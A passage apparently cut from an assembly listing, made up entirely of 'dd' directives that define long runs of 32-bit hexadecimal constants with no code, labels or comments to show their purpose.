		dd 693D0211h, 927B1A80h, 47E4487Ch, 0E875010Bh,	0DE900021h
		dd 1D409F33h, 436BD83Dh, 9EBD9B28h, 3E40BC8Fh, 38159DBh
		dd 35BDB110h, 610F101Dh, 8687B740h, 3105A29h, 0CED411Fh
		dd 66B3D323h, 0FC899100h, 0B9F03174h, 3DFB1F2Eh, 0E43506A8h
		dd 36304901h, 0B0324141h, 2C2207E1h, 40C327D1h,	53C76801h
		dd 3496C06h, 44703E25h,	0BE00EA46h, 73ECAD9Ah, 707B0F1Dh
		dd 63D9488Ch, 53B13801h, 8011214Ch, 488B9638h, 0D8931DAh
		dd 12A1B839h, 3B19C481h, 4ABDE9C5h, 1C35C003h, 0BF210809h
		dd 1BCBC43h, 0B3C7B196h, 59800885h, 2CFD5DD7h, 2D0F60A4h
		dd 0A34E2775h, 0C5E1C9Dh, 0FF6D9E08h, 8E28621h,	397C59C0h
		dd 80EFD6h, 7D8A5443h, 0B8BDB09Dh, 0B3A7BA00h, 3387CBBBh
		dd 0F15860DBh, 643667DDh, 9D89970Fh, 8A81EC6h, 47293B18h
		dd 1799529h, 124D22D6h,	20AA23FFh, 0AB88140Ch, 0DC40330h
		dd 0E9BFDBDEh, 0C603851h, 4F0FB9E4h, 838718D6h,	3D53D42Ch
		dd 0D3B129F8h, 0C4A7BC20h, 0AF0C63A5h, 394C363Ah, 0E5CB0075h
		dd 277EDAD0h, 0DD0BEB11h, 8052E45Ch, 8EB7440Fh,	0BCBE063Dh
		dd 9106E535h, 41483630h, 31BD479h, 0E694748Bh, 4AC84112h
		dd 90020FECh, 10234913h, 7CEC405Dh, 0C18B093Dh,	848E641Fh
		dd 38207289h, 1D1806ADh, 11DCF4F7h, 9B75DD01h, 0E36B438Ah
		dd 0CB10EF4h, 0D82C827Bh, 5D001F81h, 0DD609F70h, 0E43442EAh
		dd 0B9513C45h, 0D801703h, 18DDEBF3h, 72E63180h,	38CD0100h
		dd 1D0FAB70h, 0EE7618h,	0E0BF6C99h, 8996C6AEh, 77AAC100h
		dd 0E3354421h, 4778A10Fh, 0F5D87010h, 0EA0038E8h, 2BAA6E4Ch
		dd 1282661Dh, 0C4A228Ah, 6FD9D6C0h, 394B9333h, 96E93BCh
		dd 86F51619h, 4685AE80h, 47005587h, 0A2D4B92Eh,	983D3937h
		dd 62AE1CA8h, 0E135864Ah, 0BF16898Fh, 4308AEBh,	6EA606h
		dd 0DD23FED1h, 0C73B4FD5h, 771ABF00h, 60912E87h, 49FF00DAh
		dd 62EBFD48h, 0A20AB978h, 0C7CDD12h, 4145D028h,	0B00CCCh
		dd 7F51127Bh, 67ED444Eh, 2F92158h, 0F6BDBC99h, 0E24C44D6h
		dd 43E3001Ah, 0A027466Eh, 8A12291h, 0DDBEDC8Eh,	32A10402h
		dd 6485849Fh, 6B412E20h, 728039CCh, 3AEEBE2Eh, 0E005998h
		dd 94D7D093h, 24E1B1BDh, 27475A5h, 61552619h, 0EF35A081h
		dd 0C498B17h, 2E1410C1h, 0C5400F2Dh, 0B661E578h, 20B9A8BFh
		dd 0D000DF5Ch, 4E3D9FEAh, 42CAC7h, 953B1893h, 68100561h
		dd 8F1CCA8h, 37EFBD00h,	1260DF20h, 0A15F013Bh, 5329554Fh
		dd 82285h, 0D7634919h, 0C1B3A3h, 5E569FCDh, 3043CCBAh
		dd 25403E0Ch, 132993Ch,	727E9150h, 2090B13Fh, 0D262920Ch
		dd 0C4B443B9h, 0E33E0328h, 6D5A980Ah, 34A3BAE1h, 91FC9560h
		dd 3738D464h, 1470BA21h, 0D08AAC30h, 0CF030317h, 0A935D573h
		dd 4951EBF0h, 83DD0507h, 6F2790D6h, 88A13C36h, 3DD15E54h
		dd 5A130A8Eh, 0E3A00859h, 5D8A6F84h, 0DF551093h, 65DE0F61h
		dd 0DF86C850h, 92A012C6h, 74F40023h, 35B65A3Dh,	44B0E026h
		dd 0DD0F9F03h, 0FC6953CFh, 12DFC000h, 6479371Dh, 0F2831800h
		dd 10C90D90h, 2FA70541h, 0C18ABDDFh, 1038D828h,	14B4DDB0h
		dd 0A8C26713h, 61198520h, 3DA19F25h, 572F9502h,	3AEC0C20h
		dd 39F90080h, 50C7D527h, 0C6000DCAh, 0E2E7C84Dh, 61DA0F14h
		dd 205C483Eh, 3459F585h, 0B8884900h, 0A69D00D7h, 0E4526704h
		dd 4B1DCF64h, 76C0E8DDh, 0C2F0C339h, 0F6BC3F55h, 6EB5D381h
		dd 2029FA05h, 12004440h, 4620275Eh, 358A0A7h, 911122AEh
		dd 1BD98C02h, 0CAE0F2A3h, 3A7C0695h, 40181CFEh,	0B018ABD0h
		dd 32580CBCh, 88F82E69h, 0C830704Ch, 0C8328061h, 2903CFACh
		dd 5E214060h, 5641DEh, 6C051AA1h, 0B1E64A2Bh, 0A0289528h
		dd 0BA83459h, 109DB943h, 5006979Ch, 616D90F0h, 0B2430877h
		dd 6F698967h, 0F70C1894h, 441149D6h, 8F1D1E00h,	0B828883Eh
		dd 38BCAE05h, 0D8C75A01h, 2F0298C4h, 6440C9E1h,	958012F4h
		dd 63E9168Dh, 86100E68h, 0F7048B00h, 5503E76Fh,	0D9B63D8Fh
		dd 0C5702637h, 0A8900FCh, 43BC8DB0h, 4C6AB328h,	0F85A9522h
		dd 4B9BFh, 0DA58912Ch, 0A6004265h, 16403F95h, 0BA83230h
		dd 0B8B7DFA3h, 0E831108Dh, 9D28E8BEh, 8F5CBDDBh, 3C240009h
		dd 8D108767h, 0CED41F6Bh, 0BF91C039h, 9E2C7BDCh, 7E002978h
		dd 8FA6B62Fh, 4C2EC444h, 6D00713Bh, 28AD83DFh, 0E201B148h
		dd 4C1A99ABh, 5C4178BBh, 2511748Ch, 0E91710CAh,	0CD660EFFh
		dd 0D340A921h, 4A5DC0CEh, 3338A02h, 0E06D2A7Bh,	2CBA4E34h
		dd 7A5F30Ah, 0C330FCD5h, 0D1C12F65h, 4011ACD4h,	70C81420h
		dd 0B0438A5Bh, 0F9140FCh, 81D33DC1h, 0BF118408h, 2012DE13h
		dd 780AE558h, 727A2D0Bh, 19EC0CB5h, 0D14000Bh, 807ED828h
		dd 0C2008CFFh, 0F8715DDh, 11D38F2h, 1AD4CC2Fh, 0E075650Eh
		dd 11C5C3D7h, 14097DDDh, 5AF49085h, 1D37078Fh, 0C63BBEABh
		dd 48001915h, 2B9C290Bh, 634D2D6Eh, 0E85081Ch, 0C6672100h
		dd 18A308FBh, 5B3F120Ah, 80E21EDEh, 23706248h, 0EB0C86F9h
		dd 0F13225CFh, 9A720001h, 91584742h, 0C60014F6h, 0D5F7BDE3h
		dd 7CED4066h, 632D0005h, 0A788CA32h, 0FB2E9BDDh, 550A5E3Ah
		dd 0B500A47Dh, 1CD01E86h, 0AFD8B187h, 600645Eh,	0E86220EAh
		dd 59BD0002h, 875D3F32h, 0C9488D3Dh, 1C358380h,	0C391F79h
		dd 2BA177DCh, 0CA9A5810h, 94E16B00h, 0AFA7C1ABh, 0A28D00ADh
		dd 0BBC7D6B1h, 68906CB9h, 145D88A1h, 0FDE4D80h,	71A24BD9h
		dd 600B7AD0h, 0CF00C8EFh, 0F8C3A5ECh, 2ADFD74h,	5F2B095Eh
		dd 448325BEh, 70CF1D83h, 0E66019C6h, 0FE57A100h, 0A35D564Dh
		dd 17051E7Dh, 0A098818Bh, 41DCB595h, 61869BE8h,	1FD98440h
		dd 0EC8033EAh, 0EF45E0Eh, 97B1BCC2h, 6D6C5341h,	96C1900Bh
		dd 0E1B45480h, 125CFC3Bh, 775C160Ch, 39C51004h,	0CEEB9C40h
		dd 4891A743h, 828F1829h, 0F570597h, 31E5E801h, 0E82C67DEh
		dd 6A102988h, 0A2A6BCC0h, 1E05C663h, 100D1F3Dh,	2B699820h
		dd 2A461FB1h, 0A3BF47C9h, 718EB799h, 0E8E73790h, 360B1C95h
		dd 385D4EE1h, 1364B924h, 8739AAh, 591E4D24h, 50075638h
		dd 0AFA66554h, 0C023F5B0h, 0A85D7FBBh, 885A8B84h, 3D4B86BCh
		dd 0DEE1E800h, 0A1F4BB43h, 18100E78h, 96000AF9h, 21669354h
		dd 0EE48ECAAh, 6E0B0164h, 8FD9D4C9h, 0F2382040h, 9287D98h
		dd 2502C867h, 2639B4C3h, 16ACA03Fh, 0FCF6674h, 566C7C81h
		dd 0B101D1A4h, 0BC952044h
		dd 0CBC11D00h, 0BD61187Dh, 95E9032Eh, 178A4637h, 266FA022h
		dd 423C293Eh, 0A7C0A583h, 0EB0303F6h, 0E135BDD7h, 0BFC10C60h
		dd 7981CB24h, 0E807FAE0h, 34E4C2B3h, 92F4AAD0h,	2177CEEh
		dd 90F80D4Bh, 88E680E2h, 7CD3331Eh, 0F7A4AD87h,	78056830h
		dd 0B7EF67Bh, 0BD9F9DFCh, 0A51201F5h, 0A0A12C3Ah, 0E23509FCh
		dd 0E077444h, 71C91328h, 391CD7C7h, 0A1160BBEh,	848E9A8Ah
		dd 0E5039100h, 0F4A4290Dh, 25432D00h, 0BD3FD870h, 42B400D6h
		dd 0E596C580h, 0AB0585B2h, 0BE2EFFA9h, 0CF55E432h, 98B90008h
		dd 57A46BD9h, 2D3EED00h, 38E91021h, 0C68601A1h,	25D6625Bh
		dd 1031A516h, 609D3Ch, 352309C4h, 9CCA88C0h, 8B93200h
		dd 963BA7E0h, 54D94B89h, 0DF0BD480h, 0D890101Bh, 8F03D4B7h
		dd 81499DD6h, 0CE6E8888h, 40020360h, 0AB155953h, 4C3DF2F9h
		dd 8800A080h, 7DEA5D77h, 0E0E68BF9h, 796A00AEh,	72E03FAh
		dd 8904E4DBh, 15BEBF8Ch, 62619CE4h, 62BDC13Ah, 824C84Bh
		dd 206EC055h, 0E424BED8h, 6808006Bh, 0F42D7CDCh, 7D02C5E7h
		dd 66B665DFh, 9C18E686h, 10FF4744h, 0C3FE5BDFh,	0B3810709h
		dd 0A958022Fh, 4404096Dh, 857702A6h, 0BB044816h, 3AF50064h
		dd 35C3A872h, 51C04229h, 0A521A18Ch, 0D261001Eh, 0DBD3D523h
		dd 324D07A9h, 183322B8h, 51718522h, 2750D80Ch, 5212E50Ch
		dd 6030C278h, 0F319DDh,	0BA6DA19Ah, 0C54BA2B0h,	1C184700h
		dd 0BD93D559h, 27CB91Fh, 0BA333167h, 982C28E0h,	80DC702h
		dd 0C1BEA39Ah, 298060F0h, 8624311Dh, 29264A53h,	0DA08A098h
		dd 0E9358B3Dh, 561BF810h, 78C0B278h, 0A5256717h, 943749DDh
		dd 873C841h, 12B43E03h,	0BEB2D187h, 24D7ACC0h, 0F89C3644h
		dd 9754000Ch, 0E5815927h, 0CC00BE5Dh, 0EAEE8D11h, 5CB1345Fh
		dd 8EA030DDh, 54B9946Fh, 9580A790h, 5A658B41h, 0BC1918A0h
		dd 13DD2704h, 0C4B18F5Dh, 0E17C6C00h, 7A9D00DBh, 9855B895h
		dd 0E9C00385h, 0CD1BFD44h, 3F473F91h, 2EEF5B8Eh, 0E43524A0h
		dd 3D717F1Dh, 0C4EE9F18h, 3ADD89h, 13586A42h, 648AB80Fh
		dd 21124A00h, 0B3204596h, 301D0186h, 0B4D793AEh, 47E0824h
		dd 0F66AFDC6h, 0B5488CF5h, 0D769E600h, 0D7386D6h, 3D8F0024h
		dd 9D6BC989h, 1F304436h, 2870E969h, 0C6E500F3h,	6DFF35E8h
		dd 7800D0F6h, 3F12445Bh, 479767h, 0D9341DFCh, 0DD9C68FFh
		dd 1F967C00h, 6F492C56h, 78B11DA4h, 4F3CC011h, 38C4C7B6h
		dd 975C260Ch, 0E0A486Ah, 0DFD5D34Ah, 845872C0h,	1E509134h
		dd 0E048350Ch, 0BABF818Ch, 0F4C4A3A7h, 143D5C22h, 43783122h
		dd 3B614800h, 2CD07ACFh, 13BE000Fh, 90AD4287h, 4A7D3D64h
		dd 0B105E974h, 73D54BC5h, 199A7880h, 41B4A1C0h,	4C1D07F0h
		dd 0DF8B10D1h, 4097DC00h, 84B43ADAh, 0ECFC6940h, 0C45778BEh
		dd 81B178B8h, 0D07ADF54h, 29C04529h, 0F528E973h, 928F049Ch
		dd 0B2BE4353h, 908A2120h, 71D8C0B0h, 12FEE0h, 604070DDh
		dd 0C097DFF8h, 590118F0h, 1DC76B57h, 9430A6D0h,	765D03B2h
		dd 0D4046934h, 9B48A590h, 3B80D0B1h, 0CEA7C96Fh, 72AFCEFh
		dd 8F63377Ch, 284BB090h, 0A9F3C40Fh, 5487F481h,	0E20E7D9h
		dd 18BBC6h, 0D4AA0B56h,	0DA15955Bh, 431AB4B8h, 983121B8h
		dd 78BE674h, 0AECDB3A8h, 89DFB007h, 400132EEh, 0E093BC83h
		dd 4888D292h, 0B98827E9h, 0B197BD7Dh, 60808655h, 0A038715Ch
		dd 3BEC33h, 59F254C5h, 0D4621DCBh, 0B6EF5300h, 25B15BAAh
		dd 7AD1C3C8h, 0FEF37DC4h, 8CD322C8h, 0B6A44F00h, 0B7C9325Bh
		dd 956F2D76h, 0D09054ABh, 9A00B2FEh, 9007EE82h,	18F06B1h
		dd 423B0434h, 0D08EB361h, 0DA0E78D1h, 9B411F60h, 78CC086h
		dd 89682686h, 0B5E700CCh, 0DAB0697Ch, 5891BBFEh, 569FAE80h
		dd 3DDA79Bh, 7EC033B3h,	280198D7h, 7D068F9Dh, 1080A0D1h
		dd 42AADD15h, 9704B812h, 0F3537886h, 8931D06h, 0D98B5A00h
		dd 60646C99h, 6638C161h, 0FADDBDh, 12488886h, 24A74C19h
		dd 48C897F0h, 331D9C81h, 203CE4F3h, 0EF243A00h,	82A8A7A1h
		dd 6EF5BE00h, 0CED1A91h, 0BB4F4084h, 1BAFB400h,	42CB2B44h
		dd 10098BCh, 115092FAh,	73B32EE5h, 15D0000Ch, 0FE0ACC56h
		dd 0CB690090h, 4038B06Dh, 68043B44h, 0F3B68DE9h, 0A20884h
		dd 9A31Eh, 0E990B1Bh, 400379D3h, 433F5065h, 0DA83E05Fh
		dd 103E281Fh, 0CF820034h, 3DDE9D4Ah, 73022F54h,	2A6983D5h
		dd 0F0624220h, 18B95060h, 2C24F585h, 0CEDD00CBh, 0C80CC5F2h
		dd 1612055Eh, 3C208654h, 252BF7Fh, 2429F775h, 8C8195E7h
		dd 70A065F0h, 0B4054701h, 20913D85h, 16BF1CF4h,	2717727Ah
		dd 889340C0h, 8522815Fh, 0C5E5000Ah, 0EE8A9CD3h, 4A74937Eh
		dd 5A617700h, 5EE23625h, 9154945Dh, 80753A33h, 0AA60E72Bh
		dd 4E1385h, 9CDDEEADh, 65B3D1EBh, 8E8B7301h, 245A3DFAh
		dd 48424891h, 9D5048F4h, 7CA500F9h, 91195843h, 926F1635h
		dd 0A9C48894h, 1D80F16h, 5A228840h, 24BA4C2Bh, 0E0CC1076h
		dd 0C5963D3Ah, 0E138F600h, 0C32E1166h, 887D042Dh, 84B10387h
		dd 1AACCCE8h, 0E1361817h, 8E270420h, 0A8D8078Ch, 3054CF91h
		dd 7959922Ah, 8DBF9601h, 0E4175DBCh, 5F35B5E0h,	369849E1h
		dd 0A4B2A490h, 0C97DF600h, 525DD1F7h, 0CD98007Ch, 0E02C0C2Ah
		dd 0A4002551h, 1EAD2E9Eh, 0D647D0h, 13DCB8B1h, 80277E07h
		dd 48440898h, 4BB44E43h, 0FCE88584h, 0F0074EBh,	0FBF848E8h
		dd 98DCC676h, 20C0B083h, 20099FB0h, 592AE3h, 2EB77219h
		dd 8F40249Ah, 0EA5B0033h, 30273BAAh, 4F8BB800h,	89EBF018h
		dd 9D820436h, 8C86B6C0h, 0CD00F110h, 0EED973B2h, 0A5D582h
		dd 91F56E42h, 4AAB4E3Ch, 2C87BD00h, 58E71347h, 2D05ADAh
		dd 0AFA78320h, 6C353760h, 24239101h, 0B02F1F94h, 0F5DBFD0h
		dd 0B6786328h, 5CC68522h, 9D01104Eh, 59B98393h,	0ABE06809h
		dd 0D92D0727h, 0A296FE25h, 3060F26Dh, 1D1881B5h, 0BC192623h
		dd 0D3EA0064h, 0B19A9CDBh, 9B4821DFh, 283E2224h, 2F70E935h
		dd 102BC60Ch, 0BEB88508h, 22A4937Dh, 8050B1A4h,	307CCA17h
		dd 70079768h, 31064E0Ah, 0DF0F7321h, 9472B432h,	0DA508048h
		dd 0EE463E14h, 89DF8E7Bh, 0D0281D00h, 0A3AA89A3h, 0D776C788h
		dd 0C05F0311h, 9C8FBE34h, 0EECD2801h, 87B54135h, 0A8242Bh
		dd 58DD3DE4h, 663F789Fh, 969B00D9h, 6BF69401h, 479000CCh
		dd 6E8C417Ah, 24007BB7h, 0BD8E6189h, 3C654CC9h,	178FD66Ah
		dd 0C88F070Dh, 6D57B1A0h, 0B600F025h, 3AB859BDh, 1BF7C7Eh
		dd 715D46DDh, 0C0C7BE35h, 8C24293Dh, 26163C24h,	0E9CD2CD0h
		dd 2807125h, 6C4341B6h,	68411138h, 293E1171h, 0E41F00F2h
		dd 4000A2FAh, 9387FE73h, 0FA60DEDh, 3D2FCD1Ch, 0C3D52704h
		dd 691A770Ch, 0C0808CBDh, 3325ACC8h, 76889857h,	0E8DB514Ah
		dd 5D9C1E04h, 2FB48324h, 1851513Fh, 9A981A7Dh, 406494BEh
		dd 8A3F2F47h, 8B2C0E07h, 80C8552h, 82061898h, 689670BCh
		dd 4504DA73h, 0D51D1BC5h, 13898CACh, 6AE7F448h,	0B827825h
		dd 32FC40F8h, 892D0498h, 0ACDDB83Dh, 692588FCh,	0E441D4CAh
		dd 28A43154h, 70A5855Ch, 5ABF5CD0h, 14BC4872h, 0C12ADE05h
		dd 3344C296h, 0D2C0F820h, 5F9D0038h, 5E8E1B7Eh,	0D700AC7Bh
		dd 78DDBEDEh, 48EA0612h, 0E000989Dh, 0C4432D2Eh, 3900E679h
		dd 0B9ABBEB0h, 0CC8955h, 67111CF6h, 0DE1B3E9Eh,	24452813h
		dd 0CA066C00h, 3C1E333h
		dd 0DC128366h, 2FE38119h, 0AD2B1EC0h, 0BBB4D602h, 5134097Ch
		dd 0CACC0054h, 0AE56EFB3h, 430D0804h, 3E497BBFh, 7107B4C4h
		dd 0D6D12018h, 0FDEFE00Fh, 3EAB2FB3h, 0A200159Ch, 12FE5A5Bh
		dd 9B07A6BDh, 89BA43AEh, 0B449ECh, 22F679DDh, 18BD6FBBh
		dd 0CCE2BE3Ah, 1031210Ch, 64DDC8E3h, 0C85B221Ch, 0C4471A8Ch
		dd 213EC729h, 0BF1010EBh, 8B65E2BDh, 0CA03A60h,	335A2C2Bh
		dd 13AB0B60h, 0CCC044C8h, 8BC418Ah, 5B27E210h, 5082248h
		dd 62114AD3h, 0C6C0F002h, 3EACC131h, 124C4001h,	63D2204Fh
		dd 7B00E505h, 0FB893EF6h, 4CDE471Bh, 0DA0AADF1h, 1F886086h
		dd 0B14D4514h, 2CCF85C7h, 7B01DF60h, 0DA609762h, 0E4380F3Ah
		dd 0D09F2B87h, 0D2E38178h, 0EB225812h, 20F26C12h, 2558D3C4h
		dd 8400C4A2h, 0A85A79CAh, 0B9002B57h, 0D6AF7829h, 0F099E1BDh
		dd 0DB0F112Fh, 0FC205E30h, 127408ECh, 8B750Dh, 3B8937BCh
		dd 1254A7B8h, 1B79909Ch, 0B85AE724h, 0F360B02Ch, 14DF1Dh
		dd 557641ABh, 0A372570Eh, 3E0C1097h, 48A7F6FFh,	87009638h
		dd 5762EBAh, 2209BC1Bh,	933E2D06h, 8DB1A8E8h, 2A1D26Fh
		dd 0F51229E4h, 14C3EFE2h, 8011D1C1h, 35CFC611h,	578E26h
		dd 670E2437h, 705216BDh, 4429DE01h, 0DCF0DDA6h,	77EB8F3h
		dd 4B6A4BB2h, 1064BEE8h, 0B89A4500h, 6EA0D89Fh,	0ABF20096h
		dd 4C734F7Eh, 8E018538h, 9D34E77Ah, 0FEB817D8h,	0EC57DF09h
		dd 0A789698Eh, 25587C82h, 70892604h, 2FFBAEE0h,	989A080Ah
		dd 0F1DC0D0h, 45092913h, 505A11h, 0BCBD88DFh, 0C7D3D735h
		dd 8B3D7703h, 4437D9h, 331D86D0h, 57056C12h, 2016C730h
		dd 817B63C9h, 1DC732Eh,	15D6B7B6h, 0F9EC7949h, 9F2D0043h
		dd 62D05081h, 7B2DB658h, 0BB7011EAh, 27DB7430h,	0FC4673F9h
		dd 3087B8A0h, 84C8DC5Ch, 8BC295Dh, 1480A720h, 2E011CDDh
		dd 6FC77EF0h, 31805997h, 0A248D316h, 2E008793h,	5C0A444h
		dd 8467E0h, 9F75241Dh, 16C56BCCh, 2C0968B0h, 8946763Ah
		dd 4074D158h, 24A7039Dh, 0F8E1400h, 0BCB73FEh, 0B618008Dh
		dd 589893F4h, 5B0926ADh, 101C3634h, 0E09027FCh,	6C942C6Fh
		dd 3C40A550h, 0D31EA41Ah, 8F49769Dh, 79BE8045h,	5161B79Ah
		dd 0B439EC27h, 0F580BC3Ch, 1EF318FFh, 4B438C6h,	88494863h
		dd 7DECBC0h, 0CCFE8E0Fh, 5373D051h, 9502FA34h, 0DD317CE5h
		dd 1165205Ah, 0A4A56AEBh, 146FBA01h, 60201395h,	879D3852h
		dd 0BC43ED09h, 0BC90F464h, 49EA281Fh, 9823B312h, 2FE7E13Dh
		dd 83803428h, 84E139F6h, 68137F00h, 0B1E9907Eh,	12DF004Eh
		dd 0DA708962h, 14BCBB36h, 0E3D10340h, 342407EEh, 0C02B7CFDh
		dd 104DA27Eh, 0AD70E2C5h, 6AB42881h, 5A8F6F10h,	0CB48118Ah
		dd 48004873h, 0D69C4E70h, 9976BB07h, 0EDBCC004h, 0ACA54BB3h
		dd 0B113B830h, 98270FD4h, 1F8CE253h, 65C0B887h,	84F85351h
		dd 0B2D7004Eh, 89825415h, 6F26DA90h, 1C48D888h,	0A8334680h
		dd 0F6EBD6h, 3F130C78h,	2B6A30F8h, 77D250A8h, 0E5003579h
		dd 0FEAA8FFCh, 7668708Eh, 0A2F4A4h, 8B3E3278h, 5631651Bh
		dd 3DDAF801h, 5137E989h, 0C3C202Eh, 1458E336h, 4D22DD78h
		dd 8510F087h, 2919621Dh, 8BE460B2h, 918714BFh, 0A789801Bh
		dd 9694C099h, 0FC883AE0h, 91900BDh, 0ECE6747Dh,	25096F28h
		dd 0D0B57252h, 315CB2D4h, 0FEC1320h, 8E4441C7h,	0DA69D03Dh
		dd 18913814h, 60C06938h, 0B44117h, 0B1EC1917h, 4783BF8Fh
		dd 780F1300h, 97F5BC8Bh, 2DDD00C7h, 45A9314Ah, 0B9F8189Dh
		dd 0DB12A303h, 0C0BA42C2h, 24293D2Eh, 0B8033Bh,	52E17E56h
		dd 674C1774h, 0D90C8230h, 44D4C6CDh, 0CEDF2D0Fh, 0EBABD400h
		dd 5AFEE73h, 0A7B1AA9Ch, 43C4C0B8h, 889161BEh, 3D75C782h
		dd 0F120C044h, 0C2B20016h, 3A784A4Dh, 0DD28BB35h, 10B00C29h
		dd 9A34EA16h, 12A6250Bh, 29305440h, 5ACE4020h, 0BF006CCBh
		dd 0E3748EB7h, 88A45Dh,	0DCB135A6h, 0DF0F1E2Fh,	9664EA50h
		dd 3EE638h, 0A7BD546Ch,	387758A3h, 78F11FCh, 0A260D88Dh
		dd 0DD4C6582h, 0EAB87C00h, 23459225h, 0E72E00B3h, 8BD79A2Bh
		dd 0E8743161h, 2F50BE14h, 18142EA8h, 0D0895484h, 0EB1724C0h
		dd 1B298E02h, 3EF8A5h, 0A9D9724Ah, 25650998h, 68E04232h
		dd 5205A3E1h, 0C20F3530h, 8D80E4E3h, 17024A6Eh,	36E3D000h
		dd 5A3335Eh, 97C3000Eh,	85CB61CEh, 0D8021E12h, 872946DDh
		dd 24AC7286h, 0F343574h, 5A22E73Fh, 40E424B9h, 0E6E2C024h
		dd 0D8274200h, 123F481Bh, 0D1BA43BBh, 800F8668h, 0C2B3FD49h
		dd 39E4152Ah, 7080CE36h, 2EE1822Bh, 0B1003893h,	68A111DDh
		dd 11DA246h, 0D2DC05D3h, 0E07165A5h, 11C5062Bh,	141379DDh
		dd 0C3629830h, 0AEBE076Eh, 411924B3h, 0F31A20CEh, 6687ACA1h
		dd 0E3350CC4h, 54363904h, 723B44Eh, 2C5F5009h, 0FD8920CDh
		dd 0ED00419Dh, 336A71B4h, 25F1B1E3h, 7C6077DDh,	3401F6BCh
		dd 1D98558Bh, 0EC7088CEh, 0B9BD1C01h, 284399D9h, 83884111h
		dd 25960113h, 542079C9h, 0A73A4135h, 59C01020h,	277CB00Fh
		dd 0A06156DDh, 0C0F872DAh, 3B58DE16h, 0EA2919AEh, 8BD4939h
		dd 0D9D70196h, 442176FAh, 69204238h, 20700C27h,	3AEE174h
		dd 9D9533C6h, 938BD28Dh, 28E53BE1h, 60884B64h, 45740051h
		dd 0AC1D7BAFh, 4100D740h, 0A8FF772Ah, 980CD035h, 0D6EB0058h
		dd 0A488A68Dh, 1E1487B3h, 22B8DD19h, 43BF0C40h,	0EBA99CBBh
		dd 64BACB04h, 0B480B661h, 1B2198Bh, 27913F58h, 0F7120DF1h
		dd 1FC2ABABh, 20C8088Ah, 9488E814h, 99F19A4h, 809878B7h
		dd 0BB17E0F8h, 0E84C005Eh, 3547C05Dh, 292E91AAh, 490CA7h
		dd 140ED6B4h, 0BE3802EBh, 529DD088h, 5B7F83DDh,	2AE0CF66h
		dd 0B8241E05h, 0C58D5AF4h, 35F4C250h, 27054071h, 0A08865B4h
		dd 0C5CF0445h, 9D5AEB2Fh, 898AF8F0h, 7E590601h,	87BB66FDh
		dd 32D7D88Bh, 31C2BF8Fh, 2FC17D82h, 8480202Fh, 46BF712h
		dd 0DF378800h, 1DBE3DBBh, 47DDD16h, 0D0336749h,	95EB2BE4h
		dd 4D04D2Fh, 3E22B1E4h,	2040445Eh, 1EEC4593h, 0C002BE3Ah
		dd 666A48D6h, 0A8017259h, 6928745Fh, 9040B2A1h,	94E0D0D7h
		dd 38A0C958h, 1AC25F22h, 0B17CBE48h, 6F001007h,	0B8A47D96h
		dd 901E3534h, 51808CB9h, 675BD0C0h, 81167D00h, 0AA0386A6h
		dd 517B0EAh, 0AFCCFBB2h, 486CB876h, 0E90C470h, 10A4A885h
		dd 0B3E02455h, 95C1089Ch, 0CA88718h, 0B4040086h, 0B136D615h
		dd 98916389h, 0B22C4500h, 0E6E73322h, 12993857h, 6A96DF0Eh
		dd 0B8C68209h, 11200900h, 0C08CCB4Ch, 0E202000Eh, 0F28F10A3h
		dd 5D097CECh, 650D4DEh,	0E963C8h, 9803E76Fh, 0B14C1AC4h
		dd 0F4ACF896h, 0E2AEA560h, 0B99D0001h, 7EDABE4Ah, 0C891422Fh
		dd 61787A03h, 9DB13D9Eh, 4931C79Fh, 40C4C40Fh, 60E02C00h
		dd 0C6ECA56h, 2D7271B2h, 34447ADDh, 18C60F2Eh, 0EADC6140h
		dd 0A570F8h, 3D3C1EE6h,	6F6C8F26h, 412D7E32h, 780009DFh
		dd 54B13B8Ch, 0D6669804h, 8FCA743h, 50428F88h, 0E46CA051h
		dd 0F2381h, 0ADBF7EAAh,	0FD2878E0h, 6109F090h, 0B3A065h
		dd 37423CFCh, 57690A08h, 2808A3B8h, 2E1480FCh, 0A44E0031h
		dd 0A2C2301Bh, 3600DD8Eh, 282B3B5Fh, 1E51A87h, 8BDFB4D5h
		dd 33BC43BDh, 0CC4E25ACh, 3B7A4030h, 395A2922h,	0AABD4990h
		dd 112851A4h, 3B24425Bh, 7450DC91h, 443D9B24h, 0CC022100h
		dd 0DD4904h, 0A881A467h
		dd 0B5CBE56Eh, 0BBB82703h, 90A0B1BCh, 5B6D6BC5h, 878CC565h
		dd 0C197755Ch, 0D1476640h, 0F8D201Bh, 123820D0h, 3C27926Fh
		dd 85AC9h, 29A5505Eh, 17BC47FAh, 34248700h, 73905F10h
		dd 8AB913C1h, 3A94F412h, 91A0B827h, 62021A04h, 0DC08080Ah
		dd 0F0F79438h, 42EB5305h, 8FC24BBh, 8A4760F4h, 0B424BE48h
		dd 0B1134E70h, 27838F8h, 0DE37E58Dh, 2D7197Dh, 9804095Ah
		dd 44BF4B06h, 0F97100C8h, 6B9395F7h, 88003885h,	6E7BF0F1h
		dd 25E6E419h, 8C03D97h,	3A03DD31h, 817A75A9h, 994D9077h
		dd 0D48900A7h, 1156E939h, 0E3168425h, 18D258D1h, 0E48C792Fh
		dd 0A0D70C53h, 42E2016Fh, 61050BAh, 0F811FBC7h,	540E5D9Eh
		dd 490D6F7h, 8F1A119Fh,	24880985h, 0D1346025h, 0A4E58E2Ah
		dd 6D5FBF00h, 0A51E0724h, 1B870F3h, 0E61FE941h,	0A8B1BB36h
		dd 9C7AD4A0h, 3F12B488h, 0E6271474h, 0F7BB0E4h,	37288600h
		dd 41BCE555h, 0A56C93D4h, 7252EC80h, 0CC07AE03h, 0AFEBB455h
		dd 96FBEEA0h, 2F120044h, 0FCBCA405h, 3803241Dh,	2B567632h
		dd 1FCCC00Dh, 73EC0027h, 24422CDDh, 9D13072Dh, 8801B32Fh
		dd 3921F6Dh, 58B043E8h,	22DE2C42h, 0B467FA03h, 0D82ABCD5h
		dd 4011776h, 0C55F4207h, 80B234h, 52F90D03h, 0F61DA77h
		dd 6983F6Eh, 96209A8Ch,	0DB52707Ch, 347609D4h, 59CC0982h
		dd 0CD72400Ch, 85007148h, 12FBC8E1h, 5EE74C82h,	9024282Bh
		dd 50801D48h, 4225B154h, 40E0B472h, 892DBB9h, 98801095h
		dd 0AC1300B7h, 516D8C2Eh, 54008EB6h, 77A756BBh,	0E3650Eh
		dd 4232C01Ah, 1D18C540h, 8022D05Eh, 5021978h, 0B22170F6h
		dd 0E8487963h, 1FAD16E4h, 2439517Bh, 60BC13D4h,	0C9B69AF0h
